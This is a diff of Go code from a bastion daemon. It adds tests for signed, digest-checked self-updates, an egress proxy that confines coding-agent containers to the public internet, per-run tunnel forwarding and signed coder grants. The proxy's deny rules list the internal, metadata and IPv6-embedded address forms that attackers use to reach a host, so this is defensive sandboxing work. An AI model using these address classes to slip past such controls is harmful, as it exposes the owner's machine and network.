||||
if downloads.Load() != 0 {
|
||||
t.Fatal("a signed manifest for another version must not be downloaded from")
|
||||
}
|
||||
|
||||
manifestURL = unsigned.URL + "/version.json"
|
||||
served.Store("0.45.0")
|
||||
maybeSelfUpdate(tAnchor, "", updateBeat("0.45.0"))
|
||||
if downloads.Load() != 0 {
|
||||
t.Fatal("an unsigned manifest must not be downloaded from, even for the target")
|
||||
}
|
||||
|
||||
// The control: signed and naming the target, the download does happen (and
|
||||
// the digest mismatch then stops the swap).
|
||||
manifestURL = signed.URL + "/version.json"
|
||||
maybeSelfUpdate(tAnchor, "", updateBeat("0.45.0"))
|
||||
if downloads.Load() != 1 {
|
||||
t.Fatalf("a signed manifest naming the target must be downloaded from with no approval, got %d", downloads.Load())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,85 @@
|
||||
package main
|
||||
|
||||
// Verified releases: the self-updater checks the binary's SHA-256 against the
|
||||
// signed manifest before anything is swapped. Driven through maybeSelfUpdate
|
||||
// with a signed manifest served on loopback; a digest that does not match the
|
||||
// downloaded bytes must leave the running binary exactly as it was.
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"runtime"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestADigestMismatchNeverSwapsTheBinary(t *testing.T) {
|
||||
uiTestConfigDir(t) // a local, unanchored box: the directive gate passes
|
||||
freshVersionState(t)
|
||||
t.Cleanup(func() { clearDirectiveRefusal("self-update") })
|
||||
clientVersion = "0.1.0"
|
||||
|
||||
self, err := resolvedSelf()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
before, err := os.ReadFile(self)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
payload := []byte("not the bastion")
|
||||
right := sha256.Sum256(payload)
|
||||
other := sha256.Sum256([]byte("some other build"))
|
||||
cases := []struct{ name, digest string }{
|
||||
{"another build's digest", hex.EncodeToString(other[:])},
|
||||
{"no digest", ""},
|
||||
{"a truncated digest", hex.EncodeToString(right[:])[:63]},
|
||||
{"half the digest", hex.EncodeToString(right[:16])},
|
||||
}
|
||||
for _, c := range cases {
|
||||
t.Run(c.name, func(t *testing.T) {
|
||||
var downloads atomic.Int64
|
||||
mux := http.NewServeMux()
|
||||
var srv *httptest.Server
|
||||
mux.HandleFunc("/version.json", func(w http.ResponseWriter, r *http.Request) {
|
||||
key := runtime.GOOS + "-" + runtime.GOARCH
|
||||
if runtime.GOOS == "windows" {
|
||||
key += ".exe"
|
||||
}
|
||||
_ = json.NewEncoder(w).Encode(map[string]any{
|
||||
"version": "0.2.0",
|
||||
"binaries": map[string]any{key: map[string]any{"url": srv.URL + "/dl", "sha256": c.digest}},
|
||||
})
|
||||
})
|
||||
mux.HandleFunc("/dl", func(w http.ResponseWriter, r *http.Request) {
|
||||
downloads.Add(1)
|
||||
_, _ = w.Write(payload)
|
||||
})
|
||||
srv = httptest.NewServer(signedStub(releaseKindBastion, mux))
|
||||
defer srv.Close()
|
||||
manifestURL = srv.URL + "/version.json"
|
||||
|
||||
// A swap would exit this process; returning at all is the first half
|
||||
// of the assertion.
|
||||
maybeSelfUpdate("h.host.privatae.ai", "", []byte(`{"update":{"version":"0.2.0"}}`))
|
||||
|
||||
if downloads.Load() != 1 {
|
||||
t.Fatalf("the update must get as far as the download for this to test the digest (%d downloads)", downloads.Load())
|
||||
}
|
||||
after, err := os.ReadFile(self)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if sha256.Sum256(after) != sha256.Sum256(before) {
|
||||
t.Fatal("the running binary changed after a digest mismatch")
|
||||
}
|
||||
if _, err := os.Stat(self + ".old"); err == nil {
|
||||
t.Fatal("the running binary was moved aside after a digest mismatch")
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,385 @@
|
||||
package main
|
||||
|
||||
// coder_egress.go — a coder run's ONLY way out: egress.sock.
|
||||
//
|
||||
// The container runs with --network none (service.go measured why: the
|
||||
// default bridge reaches the machine's LAN address and its own services, an
|
||||
// --internal network still reaches the machine through its gateway, none
|
||||
// reaches nothing). Its sidecar points HTTP(S)_PROXY at a loopback forwarder
|
||||
// that carries each connection to this unix socket, and this proxy dials out
|
||||
// over the machine's own connection.
|
||||
//
|
||||
// THE VETTING APPLIES ALWAYS, anchored box or not. The egress lane
|
||||
// (egress.go) only vets on an anchored box, because on a local box the host
|
||||
// using it is the person's own. A coding agent is not the person: it runs
|
||||
// whatever a prompt or a repository talks it into, so this proxy reaches the
|
||||
// public internet and nothing else — not this machine, not its LAN, not the
|
||||
// cloud metadata address, nor any address this machine takes as its own (a
|
||||
// public one on a NIC, or a range a `local` route delivers here; ownaddr.go)
|
||||
// — unless the owner named the host in allow_lan.
|
||||
// Every address a name resolves to is checked, and the address checked is the
|
||||
// address dialled (egress.go's rebinding rule).
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"errors"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
// The seams: how a name is resolved and how the vetted address is dialled.
|
||||
var (
|
||||
coderResolve = func(ctx context.Context, host string) ([]net.IP, error) {
|
||||
addrs, err := net.DefaultResolver.LookupIPAddr(ctx, host)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out := make([]net.IP, 0, len(addrs))
|
||||
for _, a := range addrs {
|
||||
out = append(out, a.IP)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
coderDialOut egressDialer = (&net.Dialer{Timeout: egressDialTimeout}).DialContext
|
||||
)
|
||||
|
||||
// coderInternalIP is internalIP (egress.go) plus the IPv6 forms that carry an
|
||||
// IPv4 address and are not covered there: IPv4-compatible ::a.b.c.d (::/96),
|
||||
// IPv4-translated ::ffff:0:a.b.c.d, and the deprecated site-local fec0::/10.
|
||||
// IPv4-mapped ::ffff:a.b.c.d is covered by internalIP through To4.
|
||||
func coderInternalIP(ip net.IP) bool {
|
||||
if internalIP(ip) {
|
||||
return true
|
||||
}
|
||||
if ip.To4() != nil || len(ip) != net.IPv6len {
|
||||
return false
|
||||
}
|
||||
zero := true
|
||||
for _, b := range ip[:12] {
|
||||
if b != 0 {
|
||||
zero = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if zero {
|
||||
return true // ::/96 — never a public host
|
||||
}
|
||||
if ip[0] == 0 && ip[1] == 0 && ip[2] == 0 && ip[3] == 0 && ip[4] == 0 && ip[5] == 0 &&
|
||||
ip[6] == 0 && ip[7] == 0 && ip[8] == 0xff && ip[9] == 0xff && ip[10] == 0 && ip[11] == 0 {
|
||||
return true // ::ffff:0:0/96
|
||||
}
|
||||
if ip[0] == 0xfe && ip[1]&0xc0 == 0xc0 {
|
||||
return true // fec0::/10
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// coderLANAllowed: the owner's allow_lan names this requested host (an entry
|
||||
// with a port must match host:port, one without matches any port).
|
||||
func coderLANAllowed(allowLAN []string, host, port string) bool {
|
||||
h := strings.ToLower(strings.Trim(host, "[]"))
|
||||
for _, e := range allowLAN {
|
||||
e = strings.ToLower(strings.TrimSpace(e))
|
||||
if e == "" {
|
||||
continue
|
||||
}
|
||||
eh, ep, err := net.SplitHostPort(e)
|
||||
if err != nil {
|
||||
eh, ep = strings.Trim(e, "[]"), ""
|
||||
}
|
||||
if eh == h && (ep == "" || ep == port) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// coderVettedAddr: ("ip:port", "") to dial first, or ("", the refusal).
|
||||
func coderVettedAddr(ctx context.Context, hostport string, allowLAN []string) (string, string) {
|
||||
all, why := coderVettedAddrs(ctx, hostport, allowLAN)
|
||||
if why != "" {
|
||||
return "", why
|
||||
}
|
||||
return all[0], ""
|
||||
}
|
||||
|
||||
// coderVettedAddrs: every "ip:port" the name resolved to, IPv4 first, or the
|
||||
// refusal. Refuses localhost names, names it cannot resolve, and any name
|
||||
// with even ONE internal address or ONE address the kernel delivers to this
|
||||
// machine. Only these addresses are ever dialled, never the name again;
|
||||
// trying each in turn lets a run reach a dual-stack
|
||||
// site from a machine whose IPv6 goes nowhere.
|
||||
func coderVettedAddrs(ctx context.Context, hostport string, allowLAN []string) ([]string, string) {
|
||||
host, port, err := net.SplitHostPort(hostport)
|
||||
if err != nil {
|
||||
return nil, "refused: not a host:port"
|
||||
}
|
||||
host = strings.Trim(strings.TrimSpace(host), "[]")
|
||||
if n, err := strconv.Atoi(port); err != nil || n < 1 || n > 65535 {
|
||||
return nil, "refused: bad port"
|
||||
}
|
||||
if host == "" {
|
||||
return nil, "refused: no host"
|
||||
}
|
||||
lh := strings.ToLower(strings.TrimSuffix(host, "."))
|
||||
lanOK := coderLANAllowed(allowLAN, host, port)
|
||||
if !lanOK && (lh == "localhost" || strings.HasSuffix(lh, ".localhost")) {
|
||||
return nil, "refused: this machine is not reachable from a coder run"
|
||||
}
|
||||
var addrs []net.IP
|
||||
if ip := net.ParseIP(host); ip != nil {
|
||||
addrs = []net.IP{ip}
|
||||
} else {
|
||||
resolved, err := coderResolve(ctx, host)
|
||||
if err != nil || len(resolved) == 0 {
|
||||
return nil, "refused: the name does not resolve on this machine"
|
||||
}
|
||||
addrs = resolved
|
||||
}
|
||||
if !lanOK {
|
||||
for _, ip := range addrs {
|
||||
if coderInternalIP(ip) {
|
||||
return nil, "refused: a coder run reaches the public internet only, never this machine, its network or a private range"
|
||||
}
|
||||
}
|
||||
// The classes above miss this machine when it holds a PUBLIC address
|
||||
// on one of its interfaces (a VPS, a server with its own IP), or when
|
||||
// the kernel delivers a whole range locally through a `local` route
|
||||
// (AnyIP): a service listening on 0.0.0.0 answers there. ownDestination
|
||||
// (ownaddr.go) asks both.
|
||||
own, err := ownDestination(addrs)
|
||||
if err != nil {
|
||||
return nil, "refused: this machine could not tell whether the destination is itself, so it cannot be vetted"
|
||||
}
|
||||
if own {
|
||||
return nil, "refused: a coder run reaches the public internet only, never this machine, its network or a private range"
|
||||
}
|
||||
}
|
||||
var v4, v6 []string
|
||||
for _, ip := range addrs {
|
||||
if ip.To4() != nil {
|
||||
v4 = append(v4, net.JoinHostPort(ip.String(), port))
|
||||
} else {
|
||||
v6 = append(v6, net.JoinHostPort(ip.String(), port))
|
||||
}
|
||||
}
|
||||
return append(v4, v6...), ""
|
||||
}
|
||||
|
||||
func coderRefuse(c net.Conn, why string) {
|
||||
_, _ = c.Write([]byte("HTTP/1.1 403 Forbidden\r\nContent-Length: 0\r\nConnection: close\r\nX-Privatae-Refused: " +
|
||||
strings.NewReplacer("\r", " ", "\n", " ").Replace(why) + "\r\n\r\n"))
|
||||
}
|
||||
|
||||
// handleCoderEgressConn serves one connection from a run: HTTP CONNECT or an
|
||||
// absolute-form plain HTTP request, the same parsing as handleEgressConn.
|
||||
// Destinations are never logged; refusals are counted on the run.
|
||||
func handleCoderEgressConn(client net.Conn, allowLAN []string, refused *int64) {
|
||||
defer client.Close()
|
||||
_ = client.SetReadDeadline(time.Now().Add(30 * time.Second))
|
||||
br := bufio.NewReader(client)
|
||||
line, err := br.ReadString('\n')
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
parts := strings.Fields(strings.TrimSpace(line))
|
||||
if len(parts) < 2 {
|
||||
return
|
||||
}
|
||||
method, target := parts[0], parts[1]
|
||||
var head strings.Builder
|
||||
head.WriteString(line)
|
||||
hostHdr := ""
|
||||
for {
|
||||
h, err := br.ReadString('\n')
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
head.WriteString(h)
|
||||
if h == "\r\n" || h == "\n" {
|
||||
break
|
||||
}
|
||||
if head.Len() > 64<<10 {
|
||||
return
|
||||
}
|
||||
if len(h) >= 5 && strings.EqualFold(h[:5], "host:") {
|
||||
hostHdr = strings.TrimSpace(h[5:])
|
||||
}
|
||||
}
|
||||
_ = client.SetReadDeadline(time.Time{})
|
||||
ctx, cancel := context.WithTimeout(context.Background(), egressDialTimeout)
|
||||
defer cancel()
|
||||
|
||||
connect := strings.EqualFold(method, "CONNECT")
|
||||
hp := ""
|
||||
if connect {
|
||||
hp = ensurePort(target, "443")
|
||||
} else {
|
||||
host := hostHdr
|
||||
if i := strings.Index(target, "://"); i >= 0 {
|
||||
rest := target[i+3:]
|
||||
if s := strings.IndexAny(rest, "/?#"); s >= 0 {
|
||||
host = rest[:s]
|
||||
} else {
|
||||
host = rest
|
||||
}
|
||||
if at := strings.LastIndexByte(host, '@'); at >= 0 {
|
||||
host = host[at+1:]
|
||||
}
|
||||
}
|
||||
if host == "" {
|
||||
return
|
||||
}
|
||||
hp = ensurePort(host, "80")
|
||||
}
|
||||
dialAddrs, why := coderVettedAddrs(ctx, hp, allowLAN)
|
||||
if why != "" {
|
||||
atomic.AddInt64(refused, 1)
|
||||
coderRefuse(client, why)
|
||||
return
|
||||
}
|
||||
var upstream net.Conn
|
||||
err = errors.New("no address")
|
||||
for i, a := range dialAddrs {
|
||||
// Each address gets an even share of what is left of the dial budget,
|
||||
// so one that black-holes cannot use it all.
|
||||
actx, acancel := ctx, context.CancelFunc(func() {})
|
||||
if left := len(dialAddrs) - i; left > 1 {
|
||||
if dl, ok := ctx.Deadline(); ok {
|
||||
actx, acancel = context.WithTimeout(ctx, time.Until(dl)/time.Duration(left))
|
||||
}
|
||||
}
|
||||
upstream, err = coderDialOut(actx, "tcp", a)
|
||||
acancel()
|
||||
if err == nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
_, _ = client.Write([]byte("HTTP/1.1 502 Bad Gateway\r\nContent-Length: 0\r\nConnection: close\r\n\r\n"))
|
||||
return
|
||||
}
|
||||
if connect {
|
||||
if _, err := client.Write([]byte("HTTP/1.1 200 Connection established\r\n\r\n")); err != nil {
|
||||
_ = upstream.Close()
|
||||
return
|
||||
}
|
||||
} else if _, err := upstream.Write([]byte(head.String())); err != nil {
|
||||
_ = upstream.Close()
|
||||
return
|
||||
}
|
||||
splice(br, client, upstream)
|
||||
}
|
||||
|
||||
// The live proxies, one per run, in this daemon.
|
||||
type coderEgressRun struct {
|
||||
ln net.Listener
|
||||
refused int64
|
||||
}
|
||||
|
||||
var (
|
||||
coderEgressMu sync.Mutex
|
||||
coderEgress = map[string]*coderEgressRun{}
|
||||
)
|
||||
|
||||
// coderListenEgress opens <dir>/egress.sock for one run: owned by the
|
||||
// engine's uid, 0600, so only the run's own processes can connect.
|
||||
func coderListenEgress(runID, dir string, uid int) error {
|
||||
coderEgressMu.Lock()
|
||||
defer coderEgressMu.Unlock()
|
||||
if old, ok := coderEgress[runID]; ok {
|
||||
_ = old.ln.Close()
|
||||
delete(coderEgress, runID)
|
||||
}
|
||||
p := filepath.Join(dir, coderEgressSock)
|
||||
_ = os.Remove(p)
|
||||
ln, err := coderListenUnix(dir, coderEgressSock)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if ul, ok := ln.(*net.UnixListener); ok {
|
||||
ul.SetUnlinkOnClose(false) // run-down removes the directory; a restart re-listens
|
||||
}
|
||||
if err := os.Chmod(p, 0o600); err != nil {
|
||||
_ = ln.Close()
|
||||
return err
|
||||
}
|
||||
if err := coderChown(p, uid, uid); err != nil {
|
||||
_ = ln.Close()
|
||||
return err
|
||||
}
|
||||
run := &coderEgressRun{ln: ln}
|
||||
coderEgress[runID] = run
|
||||
go func() {
|
||||
for {
|
||||
c, err := ln.Accept()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// allow_lan is read per connection: the owner's edit applies to
|
||||
// running runs at once.
|
||||
go handleCoderEgressConn(c, loadCoderConfig().AllowLAN, &run.refused)
|
||||
}
|
||||
}()
|
||||
return nil
|
||||
}
|
||||
|
||||
// coderCloseEgress stops one run's proxy and returns how many requests it
|
||||
// refused (0 when this daemon held no proxy for it).
|
||||
func coderCloseEgress(runID string) int64 {
|
||||
coderEgressMu.Lock()
|
||||
defer coderEgressMu.Unlock()
|
||||
run, ok := coderEgress[runID]
|
||||
if !ok {
|
||||
return 0
|
||||
}
|
||||
_ = run.ln.Close()
|
||||
delete(coderEgress, runID)
|
||||
return atomic.LoadInt64(&run.refused)
|
||||
}
|
||||
|
||||
// coderReconcileEgress makes the live proxies match the records: a run that
|
||||
// outlived a daemon restart gets its proxy back, and a run whose record was
|
||||
// removed by another process (the CLI's `coders drop`) loses it.
|
||||
func coderReconcileEgress() {
|
||||
recs := loadCoderRecords()
|
||||
want := map[string]coderRecord{}
|
||||
for _, r := range recs {
|
||||
want[r.RunID] = r
|
||||
}
|
||||
coderMu.Lock()
|
||||
starting := map[string]bool{}
|
||||
for id := range coderStarting {
|
||||
starting[id] = true
|
||||
}
|
||||
coderMu.Unlock()
|
||||
coderEgressMu.Lock()
|
||||
var drop []string
|
||||
for id := range coderEgress {
|
||||
if _, ok := want[id]; !ok && !starting[id] {
|
||||
drop = append(drop, id)
|
||||
}
|
||||
}
|
||||
var add []coderRecord
|
||||
for id, r := range want {
|
||||
if _, ok := coderEgress[id]; !ok {
|
||||
add = append(add, r)
|
||||
}
|
||||
}
|
||||
coderEgressMu.Unlock()
|
||||
for _, id := range drop {
|
||||
coderCloseEgress(id)
|
||||
}
|
||||
for _, r := range add {
|
||||
if R, err := coderRunDir(r.RunID); err == nil {
|
||||
_ = coderListenEgress(r.RunID, filepath.Join(R, "egress"), r.UID)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,151 @@
|
||||
package main
|
||||
|
||||
// coder_forward.go — how the Host reaches a coder run's control plane.
|
||||
//
|
||||
// One tunnel port per run (18200-18299), listened on the OWNING pairing's
|
||||
// netstack only, spliced to the run's control.sock. Every accepted connection
|
||||
// is checked again: the pairing still holds mode:coder, the run is still this
|
||||
// pairing's and not past its deadline, and the connection comes from the
|
||||
// pairing's own host tunnel address. The splice pins the socket's inode and
|
||||
// checks the far end is the engine's uid (spliceUnix, service.go), because the
|
||||
// container owns the directory the socket lives in.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/netip"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"golang.zx2c4.com/wireguard/tun/netstack"
|
||||
)
|
||||
|
||||
// coderForwardRefusal is the per-connection wall: "" to splice, else why not.
|
||||
func coderForwardRefusal(self string, rec *coderRecord, remote, hostTunnel netip.Addr, now time.Time) string {
|
||||
if why := capsAllow(self, coderGateOp); why != "" {
|
||||
return why
|
||||
}
|
||||
if rec == nil {
|
||||
return "no such run"
|
||||
}
|
||||
if rec.Owner != self {
|
||||
return "the run belongs to another host"
|
||||
}
|
||||
if dl, err := time.Parse(time.RFC3339, rec.Deadline); err != nil || now.After(dl) {
|
||||
return "the run is past its deadline"
|
||||
}
|
||||
if !hostTunnel.IsValid() || remote.Unmap() != hostTunnel.Unmap() {
|
||||
return "the connection does not come from this host's tunnel address"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// coderRemoteAddr is the peer address of an accepted connection.
|
||||
func coderRemoteAddr(c net.Conn) netip.Addr {
|
||||
if ta, ok := c.RemoteAddr().(*net.TCPAddr); ok {
|
||||
if a, ok := netip.AddrFromSlice(ta.IP); ok {
|
||||
return a.Unmap()
|
||||
}
|
||||
}
|
||||
if ap, err := netip.ParseAddrPort(c.RemoteAddr().String()); err == nil {
|
||||
return ap.Addr().Unmap()
|
||||
}
|
||||
return netip.Addr{}
|
||||
}
|
||||
|
||||
// coderListenFunc opens a listener on the pairing's side of the tunnel.
|
||||
type coderListenFunc func(port int) (net.Listener, error)
|
||||
|
||||
// serveCoderForwards listens on the pairing's tunnel stack, one port per run
|
||||
// this pairing owns (the fifth gated forward; claims_static_test.go).
|
||||
func serveCoderForwards(ctx context.Context, self, hostTunnelIP string, tnet *netstack.Net, gwIP netip.Addr) {
|
||||
serveCoderForwardsOn(ctx, self, hostTunnelIP, func(port int) (net.Listener, error) {
|
||||
return tnet.ListenTCP(&net.TCPAddr{IP: gwIP.AsSlice(), Port: port})
|
||||
})
|
||||
}
|
||||
|
||||
// serveCoderForwardsOn keeps one listener per run this pairing owns, re-read
|
||||
// from the records every serviceForwardPoll (a run brought up by a harness job
|
||||
// becomes reachable within that interval; one taken down disappears).
|
||||
func serveCoderForwardsOn(ctx context.Context, self, hostTunnelIP string, listen coderListenFunc) {
|
||||
hostTunnel, _ := netip.ParseAddr(hostTunnelIP)
|
||||
type fwd struct {
|
||||
port int
|
||||
ln net.Listener
|
||||
}
|
||||
var mu sync.Mutex
|
||||
live := map[string]*fwd{}
|
||||
defer func() {
|
||||
mu.Lock()
|
||||
for id, f := range live {
|
||||
_ = f.ln.Close()
|
||||
delete(live, id)
|
||||
}
|
||||
mu.Unlock()
|
||||
}()
|
||||
var lastWhy string
|
||||
reconcile := func() {
|
||||
want := map[string]int{}
|
||||
for _, r := range loadCoderRecords() {
|
||||
if r.Owner == self && r.TunnelPort >= coderPortBase && r.TunnelPort <= coderPortMax {
|
||||
want[r.RunID] = r.TunnelPort
|
||||
}
|
||||
}
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
for id, f := range live {
|
||||
if p, ok := want[id]; !ok || p != f.port {
|
||||
_ = f.ln.Close()
|
||||
delete(live, id)
|
||||
}
|
||||
}
|
||||
for id, p := range want {
|
||||
if _, ok := live[id]; ok {
|
||||
continue
|
||||
}
|
||||
ln, err := listen(p)
|
||||
if err != nil {
|
||||
continue // retried next poll
|
||||
}
|
||||
live[id] = &fwd{port: p, ln: ln}
|
||||
go func(runID string, ln net.Listener) {
|
||||
for {
|
||||
in, err := ln.Accept()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
rec, _ := loadCoderRecord(runID)
|
||||
if why := coderForwardRefusal(self, rec, coderRemoteAddr(in), hostTunnel, coderNow()); why != "" {
|
||||
_ = in.Close()
|
||||
mu.Lock()
|
||||
if why != lastWhy {
|
||||
fmt.Printf("[%s] coder forward: %s\n", self, why)
|
||||
lastWhy = why
|
||||
}
|
||||
mu.Unlock()
|
||||
continue
|
||||
}
|
||||
R, err := coderRunDir(runID)
|
||||
if err != nil {
|
||||
_ = in.Close()
|
||||
continue
|
||||
}
|
||||
go spliceUnix(in, filepath.Join(R, "ctl", coderControlSock), rec.UID)
|
||||
}
|
||||
}(id, ln)
|
||||
}
|
||||
}
|
||||
reconcile()
|
||||
t := time.NewTicker(serviceForwardPoll)
|
||||
defer t.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-t.C:
|
||||
reconcile()
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,366 @@
|
||||
package main
|
||||
|
||||
// coder_grant.go — the STANDING CODER GRANT on an anchored box.
|
||||
//
|
||||
// Before coder mode, every harness run on an anchored box spent a fresh
|
||||
// approval from the person (harness.go harnessGate). A Host that places 20
|
||||
// coding runs on a machine cannot ask its owner 20 times, so the person
|
||||
// approves ONCE: this host may start coder runs here, of these engines, at most
|
||||
// this many at a time, until this date. `privatae-bastion coders drop` (or the
|
||||
// host's revoke, coder_grant_drop) takes it back.
|
||||
//
|
||||
// Built exactly like the service reach grant (service_reach.go): the same
|
||||
// <pairing dir>/grants.json (a `coder` map), grantsMu, the pinned entity key,
|
||||
// the KIND checked, the SUBJECT enforced (a host installs only its own grant),
|
||||
// and the box's own approval spent once at install.
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
const coderGrantKind = "coder_grant"
|
||||
|
||||
// coderTerms is parsed FROM the verified canonical bytes — never from anything else.
|
||||
type coderTerms struct {
|
||||
Kind string `json:"kind"`
|
||||
Server string `json:"server"`
|
||||
Subject string `json:"subject"`
|
||||
Engines []string `json:"engines"`
|
||||
Max int `json:"max"`
|
||||
Expires string `json:"expires"`
|
||||
TTLDays int `json:"ttl_days,omitempty"`
|
||||
Approval string `json:"approval,omitempty"`
|
||||
}
|
||||
|
||||
// coderVerifyRec verifies one coder grant: signature, kind, a stated future
|
||||
// expiry, and well-formed terms. Re-run on every use.
|
||||
func coderVerifyRec(pinnedKeyB64 string, rec dcnGrantRec) (*coderTerms, error) {
|
||||
canonical, err := verifySignedUnexpired(pinnedKeyB64, rec)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var t coderTerms
|
||||
if err := json.Unmarshal(canonical, &t); err != nil {
|
||||
return nil, fmt.Errorf("signed terms unparsable")
|
||||
}
|
||||
if t.Kind != coderGrantKind {
|
||||
return nil, fmt.Errorf("signed record is a %q, not a %s", t.Kind, coderGrantKind)
|
||||
}
|
||||
if strings.TrimSpace(t.Subject) == "" || strings.ContainsAny(t.Subject, "|\n ") {
|
||||
return nil, fmt.Errorf("grant names no host")
|
||||
}
|
||||
if t.Max < 1 || t.Max > 100 {
|
||||
return nil, fmt.Errorf("grant max must be 1-100")
|
||||
}
|
||||
if len(t.Engines) == 0 {
|
||||
return nil, fmt.Errorf("grant names no engine")
|
||||
}
|
||||
for _, e := range t.Engines {
|
||||
if !isCoderEngine(e) {
|
||||
return nil, fmt.Errorf("grant names an engine that is not a coding engine")
|
||||
}
|
||||
}
|
||||
return &t, nil
|
||||
}
|
||||
|
||||
// purposeForCoderGrant is what the person approves, the same string the host
|
||||
// builds: coder_grant|<server>|<subject>|engines:<sorted,comma>|max:<n>|ttl:<days>.
|
||||
func purposeForCoderGrant(t *coderTerms) (string, error) {
|
||||
eng := append([]string(nil), t.Engines...)
|
||||
sort.Strings(eng)
|
||||
if err := purposeBad([]string{t.Server, t.Subject}, eng); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return coderGrantKind + "|" + t.Server + "|" + t.Subject + "|engines:" + strings.Join(eng, ",") +
|
||||
"|max:" + strconv.Itoa(t.Max) + "|ttl:" + strconv.Itoa(t.TTLDays), nil
|
||||
}
|
||||
|
||||
// coderGrantFor is the valid coder grant pairing `self` holds on this machine
|
||||
// (the newest one when there are several), or the refusal.
|
||||
func coderGrantFor(dir, self string) (*coderTerms, string) {
|
||||
if dir == "" || self == "" {
|
||||
return nil, "no pairing identity for this request"
|
||||
}
|
||||
grantsMu.Lock()
|
||||
f, err := dcnLoadFile(dir)
|
||||
grantsMu.Unlock()
|
||||
if err != nil {
|
||||
return nil, "grant store unreadable"
|
||||
}
|
||||
if f.VerifyPubkey == "" || len(f.Coder) == 0 {
|
||||
return nil, "no standing coder grant for " + self + " on this machine (the person approves one once; `privatae-bastion coders drop` revokes it)"
|
||||
}
|
||||
hn, _ := os.Hostname()
|
||||
var best *coderTerms
|
||||
bestID := int64(-1)
|
||||
for k, rec := range f.Coder {
|
||||
t, err := coderVerifyRec(f.VerifyPubkey, rec)
|
||||
if err != nil || t.Subject != self || t.Server != hn {
|
||||
continue
|
||||
}
|
||||
id, _ := strconv.ParseInt(k, 10, 64)
|
||||
if id > bestID {
|
||||
best, bestID = t, id
|
||||
}
|
||||
}
|
||||
if best == nil {
|
||||
return nil, "no valid standing coder grant for " + self + " on this machine"
|
||||
}
|
||||
return best, ""
|
||||
}
|
||||
|
||||
// handleCoderGrantSync installs one signed coder grant pushed by the host.
|
||||
// Payload (b64 JSON): {grant_id, terms_canonical, signature, verify_pubkey}.
|
||||
func handleCoderGrantSync(ws *websocket.Conn, dir string, args []string) {
|
||||
refuse := func(id int64, why string) {
|
||||
dcnAudit(dir, "coder_grant_sync", id, "", "refused: "+why)
|
||||
sendMgmt(ws, 'R', []byte("coder_grant_sync refused: "+why+"\n"))
|
||||
sendMgmtExit(ws, 126)
|
||||
}
|
||||
if len(args) < 1 {
|
||||
sendMgmt(ws, 'R', []byte("coder_grant_sync: need <payload_b64>\n"))
|
||||
sendMgmtExit(ws, 1)
|
||||
return
|
||||
}
|
||||
raw, err := base64.StdEncoding.DecodeString(strings.TrimSpace(args[0]))
|
||||
if err != nil {
|
||||
sendMgmt(ws, 'R', []byte("bad base64\n"))
|
||||
sendMgmtExit(ws, 1)
|
||||
return
|
||||
}
|
||||
var payload struct {
|
||||
GrantID int64 `json:"grant_id"`
|
||||
TermsCanonical string `json:"terms_canonical"`
|
||||
Signature string `json:"signature"`
|
||||
VerifyPubkey string `json:"verify_pubkey"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &payload); err != nil || payload.GrantID <= 0 {
|
||||
sendMgmt(ws, 'R', []byte("bad payload json\n"))
|
||||
sendMgmtExit(ws, 1)
|
||||
return
|
||||
}
|
||||
grantsMu.Lock()
|
||||
defer grantsMu.Unlock()
|
||||
f, err := dcnLoadFile(dir)
|
||||
if err != nil {
|
||||
sendMgmt(ws, 'R', []byte("grant store unreadable\n"))
|
||||
sendMgmtExit(ws, 1)
|
||||
return
|
||||
}
|
||||
self := ""
|
||||
if a := mgmtAccountOf(ws); a != nil {
|
||||
self = a.self
|
||||
}
|
||||
if _, why := pinVerifyKey(f, self, payload.VerifyPubkey); why != "" {
|
||||
refuse(payload.GrantID, why)
|
||||
return
|
||||
}
|
||||
rec := dcnGrantRec{TermsCanonical: payload.TermsCanonical, Signature: payload.Signature}
|
||||
terms, err := coderVerifyRec(f.VerifyPubkey, rec)
|
||||
if err != nil {
|
||||
refuse(payload.GrantID, "grant does not verify: "+err.Error())
|
||||
return
|
||||
}
|
||||
